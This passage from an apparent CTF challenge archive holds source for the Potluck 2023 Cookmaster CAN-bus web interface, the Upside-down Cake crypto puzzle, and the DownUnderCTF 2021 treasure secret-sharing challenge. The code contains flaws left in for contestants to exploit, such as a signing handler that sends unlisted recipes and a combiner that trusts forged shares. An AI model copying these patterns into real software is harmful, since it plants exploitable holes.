seconds = struct.unpack("<H", msg.data[28:30])[0]
self.state['step'] = {
'name': 'wait',
'values': {
'seconds': seconds
}
}
for ws in self.websockets:
await ws.send_json(info)
async def send(self, arbitration_id, data):
if arbitration_id < 0x20:
return "Cannot send privileged Messages on Debug Interface"
loop = asyncio.get_running_loop()
await loop.run_in_executor(
None, self.bus.send,
can.Message(arbitration_id=arbitration_id, data=data, is_fd=True))
async def shutdown_sockets(self):
sockets = self.websockets
self.websockets = []
for ws in sockets:
await ws.close()
def stop_bus(self):
self.bus = None
bus = self.bus
print("Stopping Bus")
bus.shutdown()
print("Stopped")
managers = dict()
def team_id_from_token(token) -> str:
try:
token_bytes = base64.urlsafe_b64decode(token)
if len(token_bytes) < 32 + 5:
raise HTTPException(403, detail="Invalid Token")
provided_digest = token_bytes[:32]
new_digest = hmac.new(
key=app.state.token_secret,
msg=token_bytes[32:],
digestmod=hashlib.sha256
).digest()
if not hmac.compare_digest(provided_digest, new_digest):
raise HTTPException(403, detail="Invalid Token")
instance_id = token_bytes[32:32 + 5]
expiry = int.from_bytes(token_bytes[32 + 5:])
if int(time.time()) > expiry:
raise HTTPException(403, detail="Invalid Token")
except binascii.Error:
raise HTTPException(403, detail="Invalid Token")
except ValueError:
raise HTTPException(403, detail="Invalid Token")
return instance_id.hex()
def expiry_from_token_no_check(token) -> int:
token_bytes = base64.urlsafe_b64decode(token)
return int.from_bytes(token_bytes[32 + 5:])
def containers(request):
team_id = team_id_from_token(request.path_params.get("token"))
cmd = request.path_params.get('cmd')
last_action = container_action.get(team_id, None)
if not last_action:
container_action[team_id] = datetime.datetime.now()
else:
now = datetime.datetime.now()
diff = now - last_action
if diff.seconds < 30:
return JSONResponse({"status": "NOK"}, status_code=429)
container_action[team_id] = now
if cmd in ["start", "restart", "stop", "build"]:
container.container_state(team_id, cmd)
return JSONResponse({"status": "OK"})
async def debug(request):
return templates.TemplateResponse(request, 'debug.html')
async def homepage(request):
return templates.TemplateResponse(request, 'index.html')
async def get_Manager(team_id, expiry) -> BusManager:
manager = managers.get(team_id, None)
if not manager:
manager = BusManager(team_id, expiry)
managers[team_id] = manager
await manager.startup()
else:
if expiry < manager.expiry:
raise HTTPException(403, detail="Invalid expiry")
elif expiry > manager.expiry:
manager.shutdown_sockets()
manager.stop_bus()
manager.expiry = expiry
if not manager.bus:
await manager.startup()
return manager
class Team(HTTPEndpoint):
async def get(self, request):
team_id_from_token(request.path_params.get("token"))
return templates.TemplateResponse(request, 'team.html')
async def post(self, request):
token = request.path_params.get("token")
team_id = team_id_from_token(token)
expiry = expiry_from_token_no_check(token)
self.manager = await get_Manager(team_id, expiry)
return templates.TemplateResponse(request, 'team.html')
class Consumer(WebSocketEndpoint):
encoding = 'text'
async def on_connect(self, websocket):
token = websocket.path_params.get("token")
team_id = team_id_from_token(token)
expiry = expiry_from_token_no_check(token)
self.manager = await get_Manager(team_id, expiry)
self.manager.websockets.append(websocket)
self.team_id = team_id
await websocket.accept()
async def on_receive(self, websocket, data):
cmd, value = data.split(':', 1)
match cmd:
case 'canframe':
arbId, b64_msg = value.split(':',1)
msg = base64.b64decode(b64_msg)
ret = await self.manager.send(int(arbId), msg)
await websocket.send_json(dict(msg="error", data=ret))
case 'sauce':
if value not in app.state.recipes:
await websocket.send_json(dict(msg="error", data="You can't cook that sauce!"))
payload = value.encode()
sig = app.state.signing_key.sign(payload)
payload = sig + payload
ret = await self.manager.send(0x20, payload)
case _:
await websocket.send_json(dict(msg="error",data=f"Invalid data: '{data}'"))
async def on_disconnect(self, ws, close_code):
if self.manager:
self.manager.websockets.remove(ws)
async def create_new_instance_pow() -> str:
async with aiosqlite.connect(DB_PATH) as db:
final_prefix = None
for _ in range(3):
instance_id = secrets.token_hex(5)
prefix = secrets.token_urlsafe(POW_PREFIX_LEN)
prefix = prefix[:POW_PREFIX_LEN].replace('-', 'B')
prefix = prefix.replace('_', 'A')
data = {
'instance_id': instance_id,
'prefix': prefix,
'valid_until': int(time.time()) + POW_INIT_TIMEOUT,
'pow_done': 0
}
try:
await db.execute('INSERT INTO instances VALUES' +\
'(:instance_id, :valid_until, :prefix, :pow_done)',
data)
await db.commit()
final_prefix = prefix
except aiosqlite.Error:
pass
if final_prefix is None:
raise HTTPException(500, detail="Could not create new pow")
return final_prefix
async def proof_of_work(request: Request):
data = await request.json()
if 'prefix' in data and 'answer' in data:
# Verify hash
h = hashlib.sha256()
h.update((data['prefix'] + data['answer']).encode())
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
if not bits.startswith('0' * POW_DIFFICULTY):
raise HTTPException(400, detail="Invalid answer")
async with aiosqlite.connect(DB_PATH) as db:
expiry = int(time.time()) + POW_TIMEOUT
cursor = await db.cursor()
await cursor.execute('UPDATE instances SET pow_done = ?, '+\
'valid_until = ? WHERE prefix = ? AND pow_done = 0 ' +\
'AND valid_until > strftime("%s", "now")', (1,
expiry, data['prefix']))
await db.commit()
if cursor.rowcount != 1:
raise HTTPException(400, detail="Invalid prefix")
await cursor.close()
r = await db.execute_fetchall('SELECT instance_id FROM '+\
'instances WHERE prefix = ?', (data['prefix'],))
instance_id = None
for row in r:
instance_id = row[0]
break
if instance_id is None:
raise HTTPException(500, detail="Invalid instance")
msg = bytes.fromhex(instance_id) + int.to_bytes(expiry, 4)
token = hmac.new(
key=request.app.state.token_secret,
msg=msg,
digestmod=hashlib.sha256
).digest() + msg
return JSONResponse({
'token': base64.urlsafe_b64encode(token).decode()
})
else:
prefix = await create_new_instance_pow()
return JSONResponse({
'prefix': prefix,
'difficulty': POW_DIFFICULTY
})
@asynccontextmanager
async def lifespan(app: Starlette):
token_secret = os.environ.get('TOKEN_SECRET_PATH', '/app/cookmaster/token-secret')
def read_token_secret() -> bytes:
with open(token_secret) as f:
return f.read().strip().encode()
app.state.token_secret = await asyncio.to_thread(read_token_secret)
signing_key_path = os.environ.get('SIGNING_KEY_PATH', '/app/cookmaster/privkey')
def read_signing_key() -> str:
with open(signing_key_path) as f:
return f.read()
pem = await asyncio.to_thread(read_signing_key)
key = SigningKey.from_pem(pem, hashfunc=sha256)
app.state.signing_key = key
recipe_path = os.environ.get('RECIPE_PATH', '/app/cookmaster/recipes.json')
def read_recipes():
with open(recipe_path) as f:
return json.load(f)
recipes = await asyncio.to_thread(read_recipes)
app.state.recipes = recipes
async with aiosqlite.connect(DB_PATH) as db:
await db.execute('''
CREATE TABLE IF NOT EXISTS instances (
instance_id TEXT PRIMARY KEY,
valid_until INTEGER,
prefix TEXT UNIQUE,
pow_done INTEGER
)
''')
await db.commit()
#app.state.team_ids = dict()
yield
routes = [
Route('/{token}/container/{cmd}', containers, methods=["POST"]),
Route('/{token}/debug', debug),
Route('/{token}/', Team),
Route('/', homepage),
Route('/pow', proof_of_work, methods=["POST"]),
WebSocketRoute('/{token}/ws', Consumer),
WebSocketRoute('/{token}/debug', Consumer),
Mount('/static', StaticFiles(directory='static'), name='static')
]
app = Starlette(debug=True, routes=routes, lifespan=lifespan)
if __name__ == '__main__':
uvicorn.run(app, host='0.0.0.0', port=SERVER_PORT)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_1/interface/cleanup.py | ctfs/Potluck/2023/crypto/Cookmaster_1/interface/cleanup.py | #!/usr/bin/env python3
import sqlite3
import time
import os
from src.container import container_state
DB_PATH=os.environ.get('DB_PATH', '/data/team_info.db')
if __name__ == '__main__':
while True:
try:
con = sqlite3.connect(DB_PATH)
print('Cleaning instances')
cursor = con.execute('SELECT instance_id FROM instances WHERE valid_until < strftime("%s", "now")')
instance_ids = [(row[0],) for row in cursor.fetchall()]
print(f'Cleaning up {len(instance_ids)} instances')
for (iid,) in instance_ids:
container_state(iid, 'stop')
cursor.executemany('DELETE FROM instances WHERE instance_id = ?', instance_ids)
con.commit()
con.close()
except sqlite3.Error as e:
print(e)
print('Sleeping')
time.sleep(10)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_1/interface/src/container.py | ctfs/Potluck/2023/crypto/Cookmaster_1/interface/src/container.py | import subprocess
import os
import docker
def create_can_interface(team_id):
client = docker.from_env()
containers =client.containers.list(filters={"name": f"team_{team_id}-heater"})
if len(containers) != 1:
raise Exception("Problem with container filtering")
container = containers[0]
pid = container.attrs['State']['Pid']
if pid == 0:
raise Exception("Container not running?")
print(pid)
proc = subprocess.run(['./create_canbridge.sh', f'c{team_id}', str(pid) ], capture_output=True)
print(proc.stdout)
print(proc.stderr)
def container_state(team_id, cmd):
os.environ['COMPOSE_PROJECT_NAME'] = f'team_{team_id}'
os.environ['TEAM_ID'] = str(team_id)
os.environ['COMPOSE_FILE'] = '../cookmaster/docker-compose.yml'
if cmd == 'start':
subprocess.run(['docker', 'compose', 'up', '-d', '--build'], capture_output=True)
create_can_interface(team_id)
if cmd == 'stop':
subprocess.run(['docker', 'compose', 'down'], capture_output=True)
if __name__ == "__main__":
import sys
team_id = sys.argv[2]
cmd = sys.argv[1] if len(sys.argv) > 1 else "start"
container_state(team_id, cmd)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_1/interface/src/__init__.py | ctfs/Potluck/2023/crypto/Cookmaster_1/interface/src/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Upside_down_Cake/upside_down_cake.py | ctfs/Potluck/2023/crypto/Upside_down_Cake/upside_down_cake.py | #!/usr/bin/env python3
#
# Upside-down Cake by Neobeo
# written for PotluckCTF 2023
# -----------
# Ingredients
# You'll need 44 eggs. It's considered good luck to write letters on the eggs something or something.
FLAG = b'potluck{???????????????????????????????????}'
assert len(FLAG) == 44
# -----------
# Preparation
# Set the oven to 521 degrees Fahrenheit. You might need to fiddle with the knobs a little bit.
p = ~-(-~(()==()))** 521
# Make sure you know how to crack a bunch of eggs, and also how to invert an entire cake layer.
crack = lambda eggs: int.from_bytes(eggs, 'big')
invert = lambda cake_layer: pow(cake_layer, -1, p)
# ---------------------------------------------------------------------------
# Now for the recipe itself -- it's going to be a two-layer upside-down cake!
pan = [] # Step 1) Prepare an empty pan
layer1 = crack(FLAG[:22]) # Step 2) Crack the first half of the eggs into Layer 1
layer1 = invert(layer1) # Step 3) This is important, you need to flip Layer 1 upside down
pan.append(layer1) # Step 4) Now you can add Layer 1 into the pan!
layer2 = crack(FLAG[22:]) # Step 5) Crack the second half of the eggs into Layer 2
layer2 = invert(layer2) # Step 6) This is important, you need to flip Layer 2 upside down
pan.append(layer2) # Step 7) Now you can add Layer 2 into the pan!
upside_down_cake = sum(pan) # Step 8) Put the pan in the oven to combine the contents into the upside-down cake
print(f'{upside_down_cake = }') # Step 9) Your upside-down cake is ready. Enjoy!
# upside_down_cake = 5437994412763609312287807471880072729673281757441094697938294966650919649177305854023158593494881613184278290778097252426658538133266876768217809554790925406
# ----------------------------------------------------------------
# Here, I brought the cake to the potluck. Why don't you try some?
have_a_slice_of_cake = b'''
.: :v
c: .X
i.::
:
..i..
#MMMMM
QM AM
9M zM
6M AM
2M 2MX$MM@1.
OM tMMMMMMMMMM;
.X#MMMM ;MMMMMMMMMMMMv
cEMMMMMMMMMU7@MMMMMMMMMMMMM@
.n@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMM@@#$BWWB#@@#$WWWQQQWWWWB#@MM.
MM ;M.
$M EM
WMO$@@@@@@@@@@@@@@@@@@@@@@@@@@@@#OMM
#M cM
QM tM
MM cMO
.MMMM oMMMt
1MO 6MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM iMM
.M1 BM vM ,Mt
1M @M .............................. WM M6
MM .A8OQWWWWWWWWWWWWWWWWWWWWWWWWWWWOAz2 #M
MM MM.
@MMY vMME
UMMMbi i8MMMt
C@MMMMMbt;;i.......i;XQMMMMMMt
;ZMMMMMMMMMMMMMMM@'''
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_2/get_token.py | ctfs/Potluck/2023/crypto/Cookmaster_2/get_token.py | #!/usr/bin/env python3
# Adapted from https://github.com/balsn/proof-of-work
import hashlib
import sys
import requests
def is_valid(digest, zeros, difficulty):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
if __name__ == '__main__':
if len(sys.argv) > 1:
HOST = sys.argv[1]
else:
HOST = 'http://challenge17.play.potluckctf.com:31337'
info = requests.post(f'{HOST}/pow', json={}).json()
prefix = info['prefix']
difficulty = info['difficulty']
print(f'prefix: {prefix}')
print(f'difficulty: {difficulty}')
zeros = '0' * difficulty
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest(), zeros, difficulty):
info = requests.post(f'{HOST}/pow', json={
'prefix': prefix,
'answer': str(i)
}).json()
print('Token: ' + info['token'])
exit(0)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_2/interface/main.py | ctfs/Potluck/2023/crypto/Cookmaster_2/interface/main.py | import binascii
from hashlib import sha256
from ecdsa import SigningKey
from contextlib import asynccontextmanager
from starlette.applications import Starlette
from starlette.requests import Request
from starlette.responses import JSONResponse
from starlette.routing import Route, WebSocketRoute, Mount
from starlette.exceptions import HTTPException
from starlette.endpoints import WebSocketEndpoint, HTTPEndpoint
from concurrent.futures import ThreadPoolExecutor
from starlette.templating import Jinja2Templates
from starlette.staticfiles import StaticFiles
from typing import Optional
import aiosqlite
import uvicorn
import asyncio
import can
import base64
import datetime
import json
import time
import struct
import os
import hashlib
import hmac
#from aiopath import AsyncPath as Path
import asyncio
import secrets
from src import container
def recipe_context(request: Request):
return {'recipes': request.app.state.recipes}
templates = Jinja2Templates(directory='templates', context_processors=[recipe_context])
SERVER_PORT=31337
DB_PATH=os.environ.get('DB_PATH', '/data/team_info.db')
POW_INIT_TIMEOUT=int(os.environ.get('POW_INIT_TIMEOUT', '300'))
POW_TIMEOUT=int(os.environ.get('POW_TIMEOUT', '300'))
POW_PREFIX_LEN=int(os.environ.get('POW_PREFIX_LEN', 16))
POW_DIFFICULTY=int(os.environ.get('POW_DIFFICULTY', 22))
container_action = dict()
class BusManager():
def __init__(self, team_id, expiry):
self.team_id = team_id
self.bus: Optional[can.BusABC] = None
self.websockets = list()
self.state = dict()
self.expiry = expiry
self.executor = ThreadPoolExecutor(max_workers=1)
self.bgtasks = set()
self.watcher = set()
async def startup(self):
if self.bus:
return
loop = asyncio.get_event_loop()
await loop.run_in_executor(self.executor, self.setup_can_bus, loop)
task = loop.run_in_executor(self.executor, self.read_bus, loop )
self.bgtasks.add(task)
task.add_done_callback(self._bus_done)
for watcher in self.watcher:
watcher.cancel()
watcher = loop.create_task(self._watcher())
self.watcher.add(watcher)
watcher.add_done_callback(self.watcher.discard)
async def _watcher(self):
while True:
await asyncio.sleep(1)
if not self.bus:
await self.startup()
def _bus_done(self, task):
self.bgtasks.discard(task)
if self.bus:
self.bus.shutdown()
self.bus = None
def setup_can_bus(self, loop):
try:
self.bus = can.ThreadSafeBus(
interface="socketcan",
channel=f'c{self.team_id}',
fd=True, receive_own_messages=True)
return True
except OSError:
return False
def read_bus(self, loop):
if self.bus is None:
return
try:
for msg in self.bus:
coro = self._listener(msg)
fut = asyncio.run_coroutine_threadsafe(coro, loop)
fut.result()
except can.exceptions.CanOperationError:
bus = self.bus
self.bus = None
bus.shutdown()
async def _listener(self, msg):
info = dict(
msg="can",
msgId=msg.arbitration_id,
data=msg.data.hex(),
state=self.state
)
match msg.arbitration_id:
case 0x12:
temp = struct.unpack("d", msg.data)[0]
self.state['temp'] = f'{temp:g}'
case 0x13:
iid, grams = struct.unpack("<BH", msg.data[28:31])
name = ''
match iid:
case 0:
name = msg.data[31:].decode()
case 1:
name = 'Tomato'
case 2:
name = 'Carrot'
case 3:
name = 'Celery'
case 4:
name = 'Onion'
case 5:
name = 'Garlic'
case 6:
name = 'Sugar'
case 7:
name = 'Olive Oil'
case 8:
name = 'Salt'
case 9:
name = 'Black Pepper'
self.state['step'] = {
'name': 'add',
'values': {
'name': name,
'grams': grams
}
}
case 0x14:
strength, seconds = struct.unpack("<BH", msg.data[28:31])
self.state['step'] = {
'name': 'mix',
'values': {
'strength': strength,
'seconds': seconds
}
}
case 0x15:
degrees, seconds = struct.unpack("<HH", msg.data[28:32])
self.state['step'] = {
'name': 'heat',
'values': {
'degrees': degrees,
'seconds': seconds
}
}
case 0x15:
seconds = struct.unpack("<H", msg.data[28:30])[0]
self.state['step'] = {
'name': 'wait',
'values': {
'seconds': seconds
}
}
for ws in self.websockets:
await ws.send_json(info)
async def send(self, arbitration_id, data):
if arbitration_id < 0x20:
return "Cannot send privileged Messages on Debug Interface"
loop = asyncio.get_running_loop()
await loop.run_in_executor(
None, self.bus.send,
can.Message(arbitration_id=arbitration_id, data=data, is_fd=True))
async def shutdown_sockets(self):
sockets = self.websockets
self.websockets = []
for ws in sockets:
await ws.close()
def stop_bus(self):
self.bus = None
bus = self.bus
print("Stopping Bus")
bus.shutdown()
print("Stopped")
managers = dict()
def team_id_from_token(token) -> str:
try:
token_bytes = base64.urlsafe_b64decode(token)
if len(token_bytes) < 32 + 5:
raise HTTPException(403, detail="Invalid Token")
provided_digest = token_bytes[:32]
new_digest = hmac.new(
key=app.state.token_secret,
msg=token_bytes[32:],
digestmod=hashlib.sha256
).digest()
if not hmac.compare_digest(provided_digest, new_digest):
raise HTTPException(403, detail="Invalid Token")
instance_id = token_bytes[32:32 + 5]
expiry = int.from_bytes(token_bytes[32 + 5:])
if int(time.time()) > expiry:
raise HTTPException(403, detail="Invalid Token")
except binascii.Error:
raise HTTPException(403, detail="Invalid Token")
except ValueError:
raise HTTPException(403, detail="Invalid Token")
return instance_id.hex()
def expiry_from_token_no_check(token) -> int:
token_bytes = base64.urlsafe_b64decode(token)
return int.from_bytes(token_bytes[32 + 5:])
def containers(request):
team_id = team_id_from_token(request.path_params.get("token"))
cmd = request.path_params.get('cmd')
last_action = container_action.get(team_id, None)
if not last_action:
container_action[team_id] = datetime.datetime.now()
else:
now = datetime.datetime.now()
diff = now - last_action
if diff.seconds < 30:
return JSONResponse({"status": "NOK"}, status_code=429)
container_action[team_id] = now
if cmd in ["start", "restart", "stop", "build"]:
container.container_state(team_id, cmd)
return JSONResponse({"status": "OK"})
async def debug(request):
return templates.TemplateResponse(request, 'debug.html')
async def homepage(request):
return templates.TemplateResponse(request, 'index.html')
async def get_Manager(team_id, expiry) -> BusManager:
manager = managers.get(team_id, None)
if not manager:
manager = BusManager(team_id, expiry)
managers[team_id] = manager
await manager.startup()
else:
if expiry < manager.expiry:
raise HTTPException(403, detail="Invalid expiry")
elif expiry > manager.expiry:
manager.shutdown_sockets()
manager.stop_bus()
manager.expiry = expiry
if not manager.bus:
await manager.startup()
return manager
class Team(HTTPEndpoint):
async def get(self, request):
team_id_from_token(request.path_params.get("token"))
return templates.TemplateResponse(request, 'team.html')
async def post(self, request):
token = request.path_params.get("token")
team_id = team_id_from_token(token)
expiry = expiry_from_token_no_check(token)
self.manager = await get_Manager(team_id, expiry)
return templates.TemplateResponse(request, 'team.html')
class Consumer(WebSocketEndpoint):
encoding = 'text'
async def on_connect(self, websocket):
token = websocket.path_params.get("token")
team_id = team_id_from_token(token)
expiry = expiry_from_token_no_check(token)
self.manager = await get_Manager(team_id, expiry)
self.manager.websockets.append(websocket)
self.team_id = team_id
await websocket.accept()
async def on_receive(self, websocket, data):
cmd, value = data.split(':', 1)
match cmd:
case 'canframe':
arbId, b64_msg = value.split(':',1)
msg = base64.b64decode(b64_msg)
ret = await self.manager.send(int(arbId), msg)
await websocket.send_json(dict(msg="error", data=ret))
case 'sauce':
if value not in app.state.recipes:
await websocket.send_json(dict(msg="error", data="You can't cook that sauce!"))
payload = value.encode()
sig = app.state.signing_key.sign(payload)
payload = sig + payload
ret = await self.manager.send(0x20, payload)
case _:
await websocket.send_json(dict(msg="error",data=f"Invalid data: '{data}'"))
async def on_disconnect(self, ws, close_code):
if self.manager:
self.manager.websockets.remove(ws)
async def create_new_instance_pow() -> str:
async with aiosqlite.connect(DB_PATH) as db:
final_prefix = None
for _ in range(3):
instance_id = secrets.token_hex(5)
prefix = secrets.token_urlsafe(POW_PREFIX_LEN)
prefix = prefix[:POW_PREFIX_LEN].replace('-', 'B')
prefix = prefix.replace('_', 'A')
data = {
'instance_id': instance_id,
'prefix': prefix,
'valid_until': int(time.time()) + POW_INIT_TIMEOUT,
'pow_done': 0
}
try:
await db.execute('INSERT INTO instances VALUES' +\
'(:instance_id, :valid_until, :prefix, :pow_done)',
data)
await db.commit()
final_prefix = prefix
except aiosqlite.Error:
pass
if final_prefix is None:
raise HTTPException(500, detail="Could not create new pow")
return final_prefix
async def proof_of_work(request: Request):
data = await request.json()
if 'prefix' in data and 'answer' in data:
# Verify hash
h = hashlib.sha256()
h.update((data['prefix'] + data['answer']).encode())
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
if not bits.startswith('0' * POW_DIFFICULTY):
raise HTTPException(400, detail="Invalid answer")
async with aiosqlite.connect(DB_PATH) as db:
expiry = int(time.time()) + POW_TIMEOUT
cursor = await db.cursor()
await cursor.execute('UPDATE instances SET pow_done = ?, '+\
'valid_until = ? WHERE prefix = ? AND pow_done = 0 ' +\
'AND valid_until > strftime("%s", "now")', (1,
expiry, data['prefix']))
await db.commit()
if cursor.rowcount != 1:
raise HTTPException(400, detail="Invalid prefix")
await cursor.close()
r = await db.execute_fetchall('SELECT instance_id FROM '+\
'instances WHERE prefix = ?', (data['prefix'],))
instance_id = None
for row in r:
instance_id = row[0]
break
if instance_id is None:
raise HTTPException(500, detail="Invalid instance")
msg = bytes.fromhex(instance_id) + int.to_bytes(expiry, 4)
token = hmac.new(
key=request.app.state.token_secret,
msg=msg,
digestmod=hashlib.sha256
).digest() + msg
return JSONResponse({
'token': base64.urlsafe_b64encode(token).decode()
})
else:
prefix = await create_new_instance_pow()
return JSONResponse({
'prefix': prefix,
'difficulty': POW_DIFFICULTY
})
@asynccontextmanager
async def lifespan(app: Starlette):
token_secret = os.environ.get('TOKEN_SECRET_PATH', '/app/cookmaster/token-secret')
def read_token_secret() -> bytes:
with open(token_secret) as f:
return f.read().strip().encode()
app.state.token_secret = await asyncio.to_thread(read_token_secret)
signing_key_path = os.environ.get('SIGNING_KEY_PATH', '/app/cookmaster/privkey')
def read_signing_key() -> str:
with open(signing_key_path) as f:
return f.read()
pem = await asyncio.to_thread(read_signing_key)
key = SigningKey.from_pem(pem, hashfunc=sha256)
app.state.signing_key = key
recipe_path = os.environ.get('RECIPE_PATH', '/app/cookmaster/recipes.json')
def read_recipes():
with open(recipe_path) as f:
return json.load(f)
recipes = await asyncio.to_thread(read_recipes)
app.state.recipes = recipes
async with aiosqlite.connect(DB_PATH) as db:
await db.execute('''
CREATE TABLE IF NOT EXISTS instances (
instance_id TEXT PRIMARY KEY,
valid_until INTEGER,
prefix TEXT UNIQUE,
pow_done INTEGER
)
''')
await db.commit()
#app.state.team_ids = dict()
yield
routes = [
Route('/{token}/container/{cmd}', containers, methods=["POST"]),
Route('/{token}/debug', debug),
Route('/{token}/', Team),
Route('/', homepage),
Route('/pow', proof_of_work, methods=["POST"]),
WebSocketRoute('/{token}/ws', Consumer),
WebSocketRoute('/{token}/debug', Consumer),
Mount('/static', StaticFiles(directory='static'), name='static')
]
app = Starlette(debug=True, routes=routes, lifespan=lifespan)
if __name__ == '__main__':
uvicorn.run(app, host='0.0.0.0', port=SERVER_PORT)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_2/interface/cleanup.py | ctfs/Potluck/2023/crypto/Cookmaster_2/interface/cleanup.py | #!/usr/bin/env python3
import sqlite3
import time
import os
from src.container import container_state
DB_PATH=os.environ.get('DB_PATH', '/data/team_info.db')
if __name__ == '__main__':
while True:
try:
con = sqlite3.connect(DB_PATH)
print('Cleaning instances')
cursor = con.execute('SELECT instance_id FROM instances WHERE valid_until < strftime("%s", "now")')
instance_ids = [(row[0],) for row in cursor.fetchall()]
print(f'Cleaning up {len(instance_ids)} instances')
for (iid,) in instance_ids:
container_state(iid, 'stop')
cursor.executemany('DELETE FROM instances WHERE instance_id = ?', instance_ids)
con.commit()
con.close()
except sqlite3.Error as e:
print(e)
print('Sleeping')
time.sleep(10)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_2/interface/src/container.py | ctfs/Potluck/2023/crypto/Cookmaster_2/interface/src/container.py | import subprocess
import os
import docker
def create_can_interface(team_id):
client = docker.from_env()
containers =client.containers.list(filters={"name": f"team_{team_id}-heater"})
if len(containers) != 1:
raise Exception("Problem with container filtering")
container = containers[0]
pid = container.attrs['State']['Pid']
if pid == 0:
raise Exception("Container not running?")
print(pid)
proc = subprocess.run(['./create_canbridge.sh', f'c{team_id}', str(pid) ], capture_output=True)
print(proc.stdout)
print(proc.stderr)
def container_state(team_id, cmd):
os.environ['COMPOSE_PROJECT_NAME'] = f'team_{team_id}'
os.environ['TEAM_ID'] = str(team_id)
os.environ['COMPOSE_FILE'] = '../cookmaster/docker-compose.yml'
if cmd == 'start':
subprocess.run(['docker', 'compose', 'up', '-d', '--build'], capture_output=True)
create_can_interface(team_id)
if cmd == 'stop':
subprocess.run(['docker', 'compose', 'down'], capture_output=True)
if __name__ == "__main__":
import sys
team_id = sys.argv[2]
cmd = sys.argv[1] if len(sys.argv) > 1 else "start"
container_state(team_id, cmd)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Potluck/2023/crypto/Cookmaster_2/interface/src/__init__.py | ctfs/Potluck/2023/crypto/Cookmaster_2/interface/src/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DownUnderCTF/2021/crypto/treasure/treasure.py | ctfs/DownUnderCTF/2021/crypto/treasure/treasure.py | #!/usr/bin/python3
import re
from Crypto.Util.number import long_to_bytes
from Crypto.Random import random
from secret import REAL_COORDS, FLAG_MSG
FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884
p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987
def create_shares(secret):
r1 = random.randint(1, p - 1)
r2 = random.randint(1, p - 1)
s1 = r1*r2*secret % p
s2 = r1*r1*r2*secret % p
s3 = r1*r2*r2*secret % p
return [s1, s2, s3]
def reveal_secret(shares):
s1, s2, s3 = shares
secret = pow(s1, 3, p) * pow(s2*s3, -1, p) % p
return secret
def run_combiner(shares):
try:
your_share = int(input('Enter your share: '))
return reveal_secret([your_share, shares[1], shares[2]])
except:
print('Invalid share')
exit()
def is_coords(s):
try:
return re.match(r'-?\d+\.\d+?, -?\d+\.\d+', long_to_bytes(s).decode())
except:
return False
def main():
shares = create_shares(REAL_COORDS)
print(f'Your share is: {shares[0]}')
print(f'Your two friends input their shares into the combiner and excitedly wait for you to do the same...')
secret_coords = run_combiner(shares)
print(f'The secret is revealed: {secret_coords}')
if not is_coords(secret_coords):
print('"Hey those don\'t look like coordinates!"')
print('Your friends grow a bit suspicious, but you manage to convince them that you just entered a digit wrong. You decide to try again...')
else:
print('"Let\'s go get the treasure!!"')
print('Your friends run off to the revealed location to look for the treasure...')
exit()
secret_coords = run_combiner(shares)
if not is_coords(secret_coords):
print('"This is way too sus!!"')
exit()
if secret_coords == FAKE_COORDS:
print('You\'ve successfully deceived your friends!')
try:
real_coords = int(input('Now enter the real coords: '))
if real_coords == REAL_COORDS:
print(FLAG_MSG)
else:
print('Incorrect!')
except:
print('Incorrect!')
else:
print('You are a terrible trickster!')
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
